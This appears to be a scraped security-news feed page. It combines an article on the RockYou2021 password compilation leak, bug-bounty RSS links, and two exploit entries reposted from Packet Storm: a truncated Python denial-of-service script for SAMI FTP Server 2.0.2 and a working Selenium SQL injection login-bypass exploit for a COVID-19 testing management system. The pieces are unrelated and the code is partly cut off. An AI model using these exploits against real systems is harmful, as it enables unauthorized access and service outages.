Black Hat Ethical Hacking
RockYou2021: largest password compilation of all time leaked online – 8.4 billion entries

https://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg RockYou2021: largest password compilation of all time leaked online – 8.4 billion entriesPost Views: 147
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What seems to be the largest password collection of all time has been leaked on a popular hacker forum. A forum user posted a massive 100GB TXT file that contains 8.4 billion entries of passwords, which have presumably been combined from previous data leaks and breaches.
According to the post author, all passwords included in the leak are 6-20 characters long, with non-ASCII characters and white spaces removed. The same user also claims that the compilation contains 82 billion passwords. However, after running our own tests, the actual number turned out to be nearly ten times lower – at 8,459,060,239 unique entries:
https://cybernews.com/wp-content/uploads/2021/06/rockyou2021-number-of-entries.png
The compilation itself has been dubbed ‘RockYou2021’ by the forum user, presumably in reference to the infamous RockYou data breach that occurred in 2009, when threat actors hacked their way into the social app website’s servers and got their hands on more than 32 million user passwords stored in plain text.

An example of leaked passwords included in the RockYou2021 compilation:

https://cybernews.com/wp-content/uploads/2021/06/password-screenshot-2.png
With a collection that exceeds its 12-year-old namesake by more than 262 times, this leak is comparable to the Compilation of Many Breaches (COMB), the largest data breach compilation ever. Its 3.2 billion leaked passwords, along with passwords from multiple other leaked databases, are included in the RockYou2021 compilation that has been amassed by the person behind this collection over several years.
See Also: Windows Container Malware Targets Kubernetes Clusters Considering the fact that only about 4.7 billion people are online, numbers-wise the RockYou2021 compilation potentially includes the passwords of the entire global online population almost two times over. For that reason, users are recommended to immediately check if their passwords were included in the leak.

To check whether your password is part of this gigantic leak, head over to the CyberNews personal data leak checker or our leaked password checker, where we are currently uploading the password entries from the RockYou2021 compilation.

If you can’t find your password in our leak databases at the moment, make sure to check back tomorrow, which is when the compilation is expected to be transferred in its entirety. Potential impactBy combining 8.4 billion unique password variations with other breach compilations that include usernames and email addresses, threat actors can use the RockYou2021 collection to mount password dictionary and password spraying attacks against untold numbers of online accounts.

Since most people reuse their passwords across multiple apps and websites, the number of accounts affected by credential stuffing and password spraying attacks in the wake of this leak can potentially reach millions, if not billions.
See Also: Offensive Security Tool: Pacu – The Amazon Web Services Exploitation Framework What to do if your password was leaked?If you suspect that one or more of your passwords may have been included in the RockYou2021 collection, we recommend taking the following steps in order to secure your data and avoid potential harm from threat actors:

* Use our personal data leak checker and leaked password checker to see if you[...]

r data has been leaked in this or other breaches.
* If your data has been compromised, make sure to change your passwords across your online accounts. You can easily generate complex passwords with our strong password generator or consider using a password manager.
* Enable two-factor authentication (2FA) on all of your online accounts.
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The post RockYou2021: largest password compilation of all time leaked online – 8.4 billion entries first appeared on Black Hat Ethical Hacking.
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Getting started with Android Application Security

A starter’s guide to setting up a testbed, assessing, and finding vulnerabilities in android applicationsContinue reading on Cobalt.io »
Read more...

Formation Beta Testing is now live!
https://medium.com/naos-finance/formation-beta-testing-is-now-live-4c53d7633cea?source=rss------bug_bounty-5

___________________________
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We’re launching Formation beta testing tomorrow! 
( 9th of June 0:00 (UTC+0)）Continue reading on NAOS Finance — Official Publications » (https://medium.com/naos-finance/formation-beta-testing-is-now-live-4c53d7633cea?source=rss------bug_bounty-5)

___________________________
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Getting started with Android Application Security
https://blog.cobalt.io/getting-started-with-android-application-security-6f20b76d795b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A starter’s guide to setting up a testbed, assessing, and finding vulnerabilities in android applicationsContinue reading on Cobalt.io » (https://blog.cobalt.io/getting-started-with-android-application-security-6f20b76d795b?source=rss------bug_bounty-5)

___________________________
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Osu! Folks
https://medium.com/@rajyaguruvirang/osu-folks-6d4653e6d87b?source=rss------bug_bounty-5

I’ll be telling y’all how I got my first bounty after six months of hunting regularly.Continue reading on Medium » (https://medium.com/@rajyaguruvirang/osu-folks-6d4653e6d87b?source=rss------bug_bounty-5)

___________________________
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Osu! Folks

I’ll be telling y’all how I got my first bounty after six months of hunting regularly.Continue reading on Medium »
Read more...

Exploit Collector
SAMI FTP Server 2.0.2 Denial Of Service

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
SAMI FTP server version 2.0.2 USER denial of service exploit.

MD5 | 313e692553a3a89a25aac7fd19c47a88

Download
#!/usr/bin/python
#
# e-mail: fernando.mengalli@gmail.com
#
# Date: 06/08/2021 - 08 jun
#
# Version Vulnerable: SAMI FTP Server 2.0.2
#
# OS Tested: Windows XP PACK 3 Brazilian e Windows 2000
#

import socket
import sys

if len(sys.argv) != 2:
print
"#####################################################################"
print "#
#"
print "# SAMI FTP Server 2.0.2 - Command 'USER' Denied of Service
#"
print "#
#"
print "# Author: Fernando Mengali
#"
print "#
#"
print "# Modo de uso: exploit.py
Source:packetstormsecurity.com

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Exploit Collector
COVID-19 Testing Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
COVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.

MD5 | 12bc9bc3329a4bc99a1d6ad5f44b6f45

Download
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection
(Authentication Bypass)
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 06.08.2021
# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# CVE: CVE-2021-33470
# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: @nu11secur1ty
# CVE: CVE-2021-33470

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="
http://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php
"

#enter your login username SQL bling injection
username="nu11secur1ty' or 1=1#"
#enter your login password SQL bling injection
password="nu11secur1ty' or 1=1#"

# test and proof the SQL injection
# user: admin
# password: password

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="inputpwd"

#enter the element for submit button by class
element_for_submit="btn.btn-primary.btn-user.btn-block"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
time.sleep(3)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

print("payload is deployed NOW, you have SQL Authentication Bypass =)...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

Source:packetstormsecurity.com

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